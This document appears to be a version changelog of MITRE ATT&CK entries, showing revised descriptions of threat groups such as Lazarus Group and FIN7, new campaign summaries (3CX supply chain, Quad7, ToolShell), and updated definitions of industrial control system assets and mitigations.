| modified | 2024-09-16 16:18:00.876000+00:00 | 2025-06-06 14:55:18.144000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 5.0
Version changed from: 4.1 → 5.0
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a | t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a |
| > | North Korean state-sponsored cyber threat group that has bee | > | North Korean state-sponsored cyber threat group attributed t | ||
| > | n attributed to the Reconnaissance General Bureau.(Citation: | > | o the Reconnaissance General Bureau (RGB). (Citation: US-CER | ||
| > | US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Ko | > | T HIDDEN COBRA June 2017) (Citation: Treasury North Korean C | ||
| > | rean Cyber Groups September 2019) The group has been active | > | yber Groups September 2019) [Lazarus Group](https://attack.m | ||
| > | since at least 2009 and was reportedly responsible for the N | > | itre.org/groups/G0032) has been active since at least 2009 a | ||
| > | ovember 2014 destructive wiper attack against Sony Pictures | > | nd is reportedly responsible for the November 2014 destructi | ||
| > | Entertainment as part of a campaign named Operation Blockbus | > | ve wiper attack on Sony Pictures Entertainment, identified b | ||
| > | ter by Novetta. Malware used by [Lazarus Group](https://atta | > | y Novetta as part of Operation Blockbuster. Malware used by | ||
| > | ck.mitre.org/groups/G0032) correlates to other reported camp | > | [Lazarus Group](https://attack.mitre.org/groups/G0032) corre | ||
| > | aigns, including Operation Flame, Operation 1Mission, Operat | > | lates to other reported campaigns, including Operation Flame | ||
| > | ion Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta | > | , Operation 1Mission, Operation Troy, DarkSeoul, and Ten Day | ||
| > | Blockbuster) North Korean group definitions are known to h | > | s of Rain.(Citation: Novetta Blockbuster) North Korea’s cyb | ||
| > | ave significant overlap, and some security researchers repor | > | er operations have shown a consistent pattern of adaptation, | ||
| > | t all North Korean state-sponsored cyber activity under the | > | forming and reorganizing units as national priorities shift | ||
| > | name [Lazarus Group](https://attack.mitre.org/groups/G0032) | > | . These units frequently share personnel, infrastructure, ma | ||
| > | instead of tracking clusters or subgroups, such as [Andariel | > | lware, and tradecraft, making it difficult to attribute spec | ||
| > | ](https://attack.mitre.org/groups/G0138), [APT37](https://at | > | ific operations with high confidence. Public reporting often | ||
| > | tack.mitre.org/groups/G0067), [APT38](https://attack.mitre.o | > | uses “Lazarus Group” as an umbrella term for multiple North | ||
| > | rg/groups/G0082), and [Kimsuky](https://attack.mitre.org/gro | > | Korean cyber operators conducting espionage, destructive at | ||
| > | ups/G0094). | > | tacks, and financially motivated campaigns.(Citation: Mandia | ||
| > | nt DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Grou | ||||
| > | ps 2023)(Citation: JPCert Blog Laz Subgroups 2025) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 17:21:11.622000+00:00 | 2025-10-24 01:29:21.748000+00:00 |
| description | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster) + +North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group attributed to the Reconnaissance General Bureau (RGB). (Citation: US-CERT HIDDEN COBRA June 2017) (Citation: Treasury North Korean Cyber Groups September 2019) [Lazarus Group](https://attack.mitre.org/groups/G0032) has been active since at least 2009 and is reportedly responsible for the November 2014 destructive wiper attack on Sony Pictures Entertainment, identified by Novetta as part of Operation Blockbuster. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster) + +North Korea’s cyber operations have shown a consistent pattern of adaptation, forming and reorganizing units as national priorities shift. These units frequently share personnel, infrastructure, malware, and tradecraft, making it difficult to attribute specific operations with high confidence. Public reporting often uses “Lazarus Group” as an umbrella term for multiple North Korean cyber operators conducting espionage, destructive attacks, and financially motivated campaigns.(Citation: Mandiant DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Groups 2023)(Citation: JPCert Blog Laz Subgroups 2025) + + |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 4.1 | 5.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Mandiant DPRK Groups 2023', 'description': 'Michael Barnhart, Austin Larsen, Jeff Johnson, Taylor Long, Michelle Cantos, Adrian Hernandez. (2023, October 10). Assessed Cyber Structure and Alignments of North Korea in 2023. Retrieved August 25, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/north-korea-cyber-structure-alignment-2023'} | |
| external_references | {'source_name': 'Mandiant DPRK Laz Org Breakdown 2022', 'description': 'Michael Barnhart, Michelle Cantos, Jeffery Johnson, Elias fox, Gary Freas, Dan Scott. (2022, March 23). Not So Lazarus: Mapping DPRK Cyber Threat Groups to Government Organizations. Retrieved September 9, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/mapping-dprk-groups-to-government/'} | |
| external_references | {'source_name': 'JPCert Blog Laz Subgroups 2025', 'description': '佐々木勇人 Hayato Sasaki. (2025, March 25). Tempted to Classifying APT Actors: Practical Challenges of Attribution in the Case of Lazarus’s Subgroup. Retrieved August 25, 2025.', 'url': 'https://blogs.jpcert.or.jp/en/2025/03/classifying-lazaruss-subgroup.html'} |
Current version: 4.1
Version changed from: 4.0 → 4.1
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [FIN7](https://attack.mitre.org/groups/G0046) is a financial | t | 1 | [FIN7](https://attack.mitre.org/groups/G0046) is a financial |
| > | ly-motivated threat group that has been active since 2013. [ | > | ly-motivated threat group that has been active since 2013. [ | ||
| > | FIN7](https://attack.mitre.org/groups/G0046) has primarily t | > | FIN7](https://attack.mitre.org/groups/G0046) has targeted th | ||
| > | argeted the retail, restaurant, hospitality, software, consu | > | e retail, restaurant, hospitality, software, consulting, fin | ||
| > | lting, financial services, medical equipment, cloud services | > | ancial services, medical equipment, cloud services, media, f | ||
| > | , media, food and beverage, transportation, and utilities in | > | ood and beverage, transportation, pharmaceutical, and utilit | ||
| > | dustries in the U.S. A portion of [FIN7](https://attack.mitr | > | ies industries in the United States. A portion of [FIN7](htt | ||
| > | e.org/groups/G0046) was run out of a front company called Co | > | ps://attack.mitre.org/groups/G0046) was operated out of a fr | ||
| > | mbi Security and often used point-of-sale malware for target | > | ont company called Combi Security and often used point-of-sa | ||
| > | ing efforts. Since 2020, [FIN7](https://attack.mitre.org/gro | > | le malware for targeting efforts. Since 2020, [FIN7](https:/ | ||
| > | ups/G0046) shifted operations to a big game hunting (BGH) ap | > | /attack.mitre.org/groups/G0046) shifted operations to big ga | ||
| > | proach including use of [REvil](https://attack.mitre.org/sof | > | me hunting (BGH), including use of [REvil](https://attack.mi | ||
| > | tware/S0496) ransomware and their own Ransomware as a Servic | > | tre.org/software/S0496) ransomware and their own Ransomware- | ||
| > | e (RaaS), Darkside. FIN7 may be linked to the [Carbanak](htt | > | as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Ca | ||
| > | ps://attack.mitre.org/groups/G0008) Group, but there appears | > | rbanak](https://attack.mitre.org/groups/G0008) Group, but mu | ||
| > | to be several groups using [Carbanak](https://attack.mitre. | > | ltiple threat groups have been observed using [Carbanak](htt | ||
| > | org/software/S0030) malware and are therefore tracked separa | > | ps://attack.mitre.org/software/S0030), leading these groups | ||
| > | tely.(Citation: FireEye FIN7 March 2017)(Citation: FireEye F | > | to be tracked separately.(Citation: FireEye FIN7 March 2017) | ||
| > | IN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citati | > | (Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBAN | ||
| > | on: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spid | > | AK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: Cro | ||
| > | er August 2021)(Citation: Mandiant FIN7 Apr 2022) | > | wdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 | ||
| > | Apr 2022)(Citation: BiZone Lizar May 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-17 22:09:41.004000+00:00 | 2025-10-24 03:18:58.136000+00:00 |
| description | [FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has primarily targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, and utilities industries in the U.S. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022) | [FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, pharmaceutical, and utilities industries in the United States. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was operated out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to big game hunting (BGH), including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware-as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but multiple threat groups have been observed using [Carbanak](https://attack.mitre.org/software/S0030), leading these groups to be tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)(Citation: BiZone Lizar May 2021) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 4.0 | 4.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'BiZone Lizar May 2021', 'description': 'BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022.', 'url': 'https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319'} | |
| x_mitre_contributors | Eric Loui, CrowdStrike Intelligence | |
| x_mitre_contributors | Serhii Melnyk, Trustwave SpiderLabs |
Current version: 1.0
Description:
The 3CX Supply Chain Attack was the first publicly reported case of one supply chain compromise triggering another, leading to a cascading, two-stage intrusion. The initial supply chain attack began when a 3CX employee downloaded and executed a trojanized, end-of-life version of the X_Trader trading software from Trading Technologies. This provided UNC4736, a threat cluster associated with AppleJeus, access to the 3CX environment. From there UNC4736 compromised the Windows and macOS build environments used to distribute the 3CX desktop application to their customers.(Citation: Mandiant 3cx UNC4736 2023) While 3CX serves more than 600,000 customers and 12 million users, only a subset of systems were affected. Subsequent targeting focused on victims in the defense and cryptocurrency sectors, where attackers deployed secondary payloads such as Gopuram for credential theft and persistence.(Citation: Kaspersky 3CX Gopuram 2023) The campaign began in late 2022 and was disrupted after security vendors publicly reported the compromise in March 2023.(Citation: 3cx official statement 2023)(Citation: Krebs 3cx overview 2023)
Current version: 1.0
Description:
Quad7 Activity, also known as CovertNetwork-1658 or the 7777 Botnet, is a network of compromised small office/home office (SOHO) routers. (Citation: Bitsight 7777 Botnet) (Citation: Microsoft Storm-0940) The botnet was initially composed primarily of TP-Link routers and was named Quad7 due to compromised devices exposing TCP port 7777 with the distinctive banner xlogin. Later activity showed a significant increase in compromised Asus routers and the addition of new ports and banners, including TCP port 63256 displaying alogin. Quad7 infrastructure functions as a collection of egress IPs that various China-affiliated threat actors have used to conduct password-spraying and brute-force operations. (Citation: Bitsight 7777 Botnet)(Citation: Medium 777-Botnet) Microsoft has reported that Storm-0940 leveraged credentials obtained through Quad7 Activity to target organizations in North America and Europe, including government agencies, non-governmental organizations, think tanks, law firms, energy firms, IT providers, and defense industrial base entities. (Citation: Microsoft Storm-0940)
Current version: 1.0
Description:
The RedPenguin project was launched by Juniper in July 2024 to investigate reported malware infections of Juniper MX Series routers. RedPenguin activity was separately attributed to UNC3886 and included the deployment of multiple custom versions of the publicly-available TINYSHELL backdoor on Juniper routers.(Citation: Juniper RedPenguin MAR 2025)(Citation: Mandiant UNC3886 Juniper Routers MAR 2025)
Current version: 1.0
Description:
The Salesforce Data Exfiltration campaign began in October 2024 with financially-motivated threat actor UNC6040 using Spearphishing Voice (vishing) to compromise corporate Salesforce instances for large-scale data theft and extortion. Following the initial data theft, victim organizations received extortion demands from a separate threat actor, UNC6240, who claimed to be the “ShinyHunters” group. The observed infrastructure and TTPs used during the Salesforce Data Exfiltration campaign overlap with those used by threat groups with suspected ties to the broader collective known as "The Com.” These overlaps could plausibly be the result of associated actors operating within the same communities and are not necessarily an indication of a direct operational relationship.(Citation: FBI Salesforce Data Theft SEP 2025)(Citation: Google Salesforce JUN 2025)
Current version: 1.0
Description:
The SharePoint ToolShell Exploitation campaign was conducted in July 2025 and encompassed the first waves of exploitation against incompetely patched spoofing (CVE-2025-49706) and remote code execution (CVE-2025-49704) vulnerabilities affecting on-premises Microsoft SharePoint servers. Later patched and updated as CVE-2025-53770 and CVE-2025-53771, the ToolShell vulnerabilities were widely exploited including by China-based ransomware actor Storm-2603 and espionage actors Threat Group-3390 and ZIRCONIUM. SharePoint ToolShell Exploitation targeted multiple regions and industries including finance, education, energy, and healthcare across Asia, Europe, and the United States.(Citation: Microsoft SharePoint Exploit JUL 2025)(Citation: Palo Alto SharePoint Vulnerabilities JUL 2025)(Citation: Eye Research ToolShell JUL 2025)(Citation: ESET ToolShell JUL 2025)(Citation: Trend Micro SharePoint Attacks JUL 2025)
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:45.828000+00:00 | 2025-10-21 03:04:25.546000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-09-03 18:50:55.787000+00:00 | 2025-09-19 15:16:28.463000+00:00 |
| external_references[5]['description'] | Mandiant. (2020, April 27). Assembling the Russian Nesting Doll: UNC2452 Merged into APT29. Retrieved March 26, 2023. | Mandiant. (2022, April 27). Assembling the Russian Nesting Doll: UNC2452 Merged into APT29. Retrieved March 26, 2023. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.0
Description:
A Distributed Control System (DCS) Controller is a microprocessor unit that is used to manage automation processes. DCS Controllers are often found in plants (chemical, manufacturing, oil and gas, etc.) where large scale continuous automation processes are required. A DCS Controller typically operates as part of a larger networked system with other DCS Controllers where each DCS Controller manages an individual part of a continuous process. In addition to these other controllers, DCS Controllers operate along side multiple other system components including system software, operator stations, and other embedded field controllers. The distributed nature of DCS Controllers provides scalability, redundancy, and improved process reliability. DCS Controllers are programmed using traditional process automation programming languages (IEC-61131).
Current version: 1.0
Description:
A gateway that limits access between networks in accordance with local security policy.
+In ICS networks, firewalls can exist in multiple locations in the network architecture and serve a variety of purposes. The first, and often the most important, is the firewall segmenting the ICS network from the business network. This firewall acts as the primary network boundary point that controls the ingress/egress of network traffic between the ICS and business networks. This firewall may also be a single device connected to multiple network segments, where the firewall defines individual zones for the different network segments and can control access to the zones and between the zones. This can limit the ability of an adversary to traverse a network.
Current version: 1.0
Description:
A Programmable Automation Controller (PAC) is an embedded programmable control device. PACs are designed to enable automation applications across integrated software applications, peer controllers (e.g., PLC), Human Machine Interfaces, and other systems. PACs often include advanced features for process control, motion control, drive control, and vision applications. PACs are programmed using traditional process automation programming languages (IEC-61131) and sometimes languages such as C and C++ to support more advanced controls.
Current version: 1.0
Description:
A switch is a network device that connects endpoints (e.g., workstations, servers, HMIs, PLCs, etc.) so that they can communicate and share data and resources. Switches may operate at either Layer 2 or Layer 3 of the OSI Model and intelligently forward packets across the network based on the specified address (Media Access Control (MAC) address for Layer 2 and Internet Protocol (IP) address for Layer 3). Switches are typically used to define network segments and connect the devices within a particular level of the Purdue Model.
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_related_assets | [{'name': 'File Server', 'related_asset_sectors': ['General'], 'description': 'Server designed to house files within the ICS environment and/or securely transfer files between the ICS and enterprise networks.'}, {'name': 'License Server', 'related_asset_sectors': ['General'], 'description': 'Vendor-specific server that operates and maintains application licenses for different ICS applications to prevent computers from reaching across the ICS/enterprise network boundary directly.'}, {'name': 'Update / Patch Management Server', 'related_asset_sectors': ['General'], 'description': 'Server capable of providing updates and/or patches to computers with general purpose operating systems (e.g. MS Windows or Linux) within the ICS environment to prevent computers from reaching across the ICS/enterprise network boundary directly.'}, {'name': 'Domain Controller (DC)', 'related_asset_sectors': ['General'], 'description': 'MS Windows server used for enforcing security policies and role-based access control (RBAC) rules and managing identity and access management (IAM) policies within a network.'}, {'name': 'Database Server', 'related_asset_sectors': ['General'], 'description': 'MS Windows (primarily) server used for tracking long-term point information, control sheets, license information, trends, etc. Paired with a Domain Controller and in some cases may be installed on the same machine functioning as a domain controller. MS SQL & Oracle are common types of database software found. '}, {'name': 'Alarm Collector', 'related_asset_sectors': ['General'], 'description': 'Server that is a target of device/server alarms for a distributed system. Some workstations or servers may have the job as the alarm collector and may only be a process/service running on the machine. '}, {'name': 'Asset Management Server', 'related_asset_sectors': ['General'], 'description': 'A vendor-specific piece of software that collects information about vendor hardware or allows for configuration of that hardware (i.e., FactoryTalk Asset Center). May also be known as: Field Device Management. '}, {'name': 'Telemetry Server', 'related_asset_sectors': ['General'], 'description': 'Servers that collect Layer 2 communications or information and send via Layer 3 to other network segments or outside the control zone for collection (examples: PI Feeder, Remote Data Server). '}] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2023-10-04 17:46:20.340000+00:00 | 2025-10-22 15:13:16.424000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2023-10-04 18:09:59.538000+00:00 | 2025-10-21 19:58:01.290000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_related_assets[2]['name'] | Supervisory controller | Supervisory Controller |
| x_mitre_related_assets[3]['description'] | A DMS and EMS are electric sector specific devices that are commonly used to manage distribution and transmission-level electrical grids. These platforms typically integrate a SCADA server and HMI with domain-specific data analysis applications, such as state-estimation and contingency analysis (EMS), or voltage-var control or fault restoration (DMS). | A DMS and EMS are electric sector-specific systems that are commonly used to manage distribution and transmission-level electrical grids. These systems typically integrate a SCADA server and HMI with domain-specific data analysis applications, such as state-estimation and contingency analysis (EMS), or voltage-var control or fault restoration (DMS). These systems also maintain visibility (and in some cases control) through a variety of integrated and distributed automation systems. |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Embedded | |
| x_mitre_related_assets | {'name': 'Building Management / Automation System (BMS / BAS)', 'related_asset_sectors': ['General'], 'description': 'A controller (or set of controllers) that manages functionality for many common commercial / industrial buildings, such as heating, ventilation, and air conditioning (HVAC), lighting, elevators, etc.'} | |
| x_mitre_related_assets | {'name': 'Manufacturing Execution System (MES)', 'related_asset_sectors': ['Manufacturing'], 'description': 'A controller that oversees the performance, efficiency, life cycle, and resourcing for a manufacturing process within the ICS environment at a facility. A MES may interact with an Enterprise Resource Planning (ERP) system in the business environment to coordinate resourcing and job planning.'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Data Gateway is a device that supports the communication and | t | 1 | Data Gateway is a device that supports the communication and |
| > | exchange of data between different systems, networks, or pr | > | exchange of data between different systems, networks, or pr | ||
| > | otocols within the ICS. Different types of data gateways are | > | otocols within the ICS. Different types of data gateways are | ||
| > | used to perform various functions, including: * <u>Proto | > | used to perform various functions, including: * <u>Proto | ||
| > | col Translation:</u> Enable communication to devices that su | > | col Translation:</u> Enable communication to devices that su | ||
| > | pport different or incompatible protocols by translating inf | > | pport different or incompatible protocols by translating inf | ||
| > | ormation from one protocol to another. * <u>Media Convert | > | ormation from one protocol to another. * <u>Media Convert | ||
| > | er:</u> Convert data across different Layer 1 and 2 network | > | er:</u> Convert data across different Layer 1 and 2 network | ||
| > | protocols / mediums, for example, converting from Serial to | > | protocols / mediums, for example, converting from Serial to | ||
| > | Ethernet. * <u>Data Aggregation:</u> Collect and combine | > | Ethernet. * <u>Data Aggregation:</u> Collect and combine | ||
| > | data from different devices into one consistent format and p | > | data from different devices into one consistent format and p | ||
| > | rotocol interface. Data gateways are often critical to the | > | rotocol interface. * <u>Data Mirroring:</u> Create a real- | ||
| > | forwarding/transmission of critical control or monitoring d | > | time, exact copy of data streams from devices to a separate | ||
| > | ata within the ICS. Further, these devices often have remote | > | destination for redundancy, monitoring, or backup purposes. | ||
| > | various network services that are used to communicate acros | > | Data gateways are often critical to the forwarding/transmis | ||
| > | s different zones or networks. These assets may focus on | > | sion of critical control or monitoring data within the ICS. | ||
| > | a single function listed below or combinations of these func | > | Further, these devices often have remote various network ser | ||
| > | tions to best fit the industry use-case. | > | vices that are used to communicate across different zones or | ||
| > | networks. These assets may focus on a single function li | ||||
| > | sted below or combinations of these functions to best fit th | ||||
| > | e industry use-case. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2023-10-04 18:08:33.386000+00:00 | 2025-10-21 19:43:43.474000+00:00 |
| description | Data Gateway is a device that supports the communication and exchange of data between different systems, networks, or protocols within the ICS. Different types of data gateways are used to perform various functions, including: + + * Protocol Translation: Enable communication to devices that support different or incompatible protocols by translating information from one protocol to another. + * Media Converter: Convert data across different Layer 1 and 2 network protocols / mediums, for example, converting from Serial to Ethernet. + * Data Aggregation: Collect and combine data from different devices into one consistent format and protocol interface. + +Data gateways are often critical to the forwarding/transmission of critical control or monitoring data within the ICS. Further, these devices often have remote various network services that are used to communicate across different zones or networks. + +These assets may focus on a single function listed below or combinations of these functions to best fit the industry use-case. + | Data Gateway is a device that supports the communication and exchange of data between different systems, networks, or protocols within the ICS. Different types of data gateways are used to perform various functions, including: + + * Protocol Translation: Enable communication to devices that support different or incompatible protocols by translating information from one protocol to another. + * Media Converter: Convert data across different Layer 1 and 2 network protocols / mediums, for example, converting from Serial to Ethernet. + * Data Aggregation: Collect and combine data from different devices into one consistent format and protocol interface. +* Data Mirroring: Create a real-time, exact copy of data streams from devices to a separate destination for redundancy, monitoring, or backup purposes. + +Data gateways are often critical to the forwarding/transmission of critical control or monitoring data within the ICS. Further, these devices often have remote various network services that are used to communicate across different zones or networks. + +These assets may focus on a single function listed below or combinations of these functions to best fit the industry use-case. + |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Network | |
| x_mitre_related_assets | {'name': 'Industrial Edge', 'related_asset_sectors': ['General'], 'description': 'Devices that may house a cellular or other type of communication stack that is outside the normal network path. May be bi-directional access by outside parties or unidirectional by design to allow for feeding of data to outside areas such as corporate, vendor, or cloud.'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Data historians, or historian, are systems used to collect a | t | 1 | Data historians, or historian, are systems used to collect a |
| > | nd store data, including telemetry, events, alerts, and alar | > | nd store data, including telemetry, events, alerts, and alar | ||
| > | ms about the operational process and supporting devices. The | > | ms about the operational process and supporting devices. The | ||
| > | historian typically utilizes a database to store this data, | > | historian typically utilizes a database to store this data, | ||
| > | and commonly provide tools and interfaces to support the an | > | and commonly provide tools and interfaces to support the an | ||
| > | alysis of the data. Data historians are often used to suppor | > | alysis of the data. Data historians are often used to suppor | ||
| > | t various engineering or business analysis functions and the | > | t various engineering or business analysis functions and the | ||
| > | refore commonly needs access from the corporate network. Dat | > | refore commonly needs access from the corporate network. Dat | ||
| > | a historians often work in a hierarchical paradigm where low | > | a historians often work in a hierarchical paradigm where low | ||
| > | er/site level historians collect and store data which is the | > | er/site level historians collect and store data which is the | ||
| > | n aggregated into a site/plant level historian. Therefore, d | > | n aggregated into a site/plant level historian. Therefore, d | ||
| > | ata historians often have remote services that can be access | > | ata historians often have remote services that can be access | ||
| > | ed externally from the ICS network. | > | ed externally from the ICS network. Many data historian vend | ||
| > | ors have designed their software to securely transfer data b | ||||
| > | etween the ICS and business networks instead of requiring bu | ||||
| > | siness systems to access the data historian in the ICS netwo | ||||
| > | rk directly. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2023-10-04 17:57:56.558000+00:00 | 2025-10-21 19:55:17.864000+00:00 |
| description | Data historians, or historian, are systems used to collect and store data, including telemetry, events, alerts, and alarms about the operational process and supporting devices. The historian typically utilizes a database to store this data, and commonly provide tools and interfaces to support the analysis of the data. Data historians are often used to support various engineering or business analysis functions and therefore commonly needs access from the corporate network. Data historians often work in a hierarchical paradigm where lower/site level historians collect and store data which is then aggregated into a site/plant level historian. Therefore, data historians often have remote services that can be accessed externally from the ICS network. | Data historians, or historian, are systems used to collect and store data, including telemetry, events, alerts, and alarms about the operational process and supporting devices. The historian typically utilizes a database to store this data, and commonly provide tools and interfaces to support the analysis of the data. Data historians are often used to support various engineering or business analysis functions and therefore commonly needs access from the corporate network. Data historians often work in a hierarchical paradigm where lower/site level historians collect and store data which is then aggregated into a site/plant level historian. Therefore, data historians often have remote services that can be accessed externally from the ICS network. Many data historian vendors have designed their software to securely transfer data between the ICS and business networks instead of requiring business systems to access the data historian in the ICS network directly. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2023-10-16 18:49:26.400000+00:00 | 2025-10-21 19:56:56.316000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Network |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2023-09-28 14:23:52.358000+00:00 | 2025-10-21 19:58:23.607000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Linux |
Current version: 1.3
Version changed from: 1.2 → 1.3
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Application Isolation and Sandboxing refers to the technique | t | 1 | Application Isolation and Sandboxing refers to the technique |
| > | of restricting the execution of code to a controlled and is | > | of restricting the execution of code to a controlled and is | ||
| > | olated environment (e.g., a virtual environment, container, | > | olated environment (e.g., a virtual environment, container, | ||
| > | or sandbox). This method prevents potentially malicious code | > | or sandbox). This method prevents potentially malicious code | ||
| > | from affecting the rest of the system or network by limitin | > | from affecting the rest of the system or network by limitin | ||
| > | g access to sensitive resources and critical operations. The | > | g access to sensitive resources and critical operations. The | ||
| > | goal is to contain threats and minimize their impact. This | > | goal is to contain threats and minimize their impact. This | ||
| > | mitigation can be implemented through the following measures | > | mitigation can be implemented through the following measures | ||
| > | : Browser Sandboxing: - Use Case: Implement browser sandbo | > | : Browser Sandboxing: - Use Case: Implement browser sandbo | ||
| > | xing to isolate untrusted web content, preventing malicious | > | xing to isolate untrusted web content and prevent malicious | ||
| > | web pages or scripts from accessing sensitive system files. | > | web pages or scripts from accessing sensitive system resourc | ||
| > | - Implementation: Use tools like Google Chrome's built-in sa | > | es or initiating unauthorized downloads. - Implementation: U | ||
| > | ndbox or deploy solutions like Bromium to secure user web in | > | se browsers with built-in sandboxing features (e.g., Google | ||
| > | teractions. Application Virtualization: - Use Case: Deploy | > | Chrome, Microsoft Edge) or deploy enhanced browser security | ||
| > | critical or high-risk applications in a virtualized environ | > | frameworks that limit the execution scope of active content. | ||
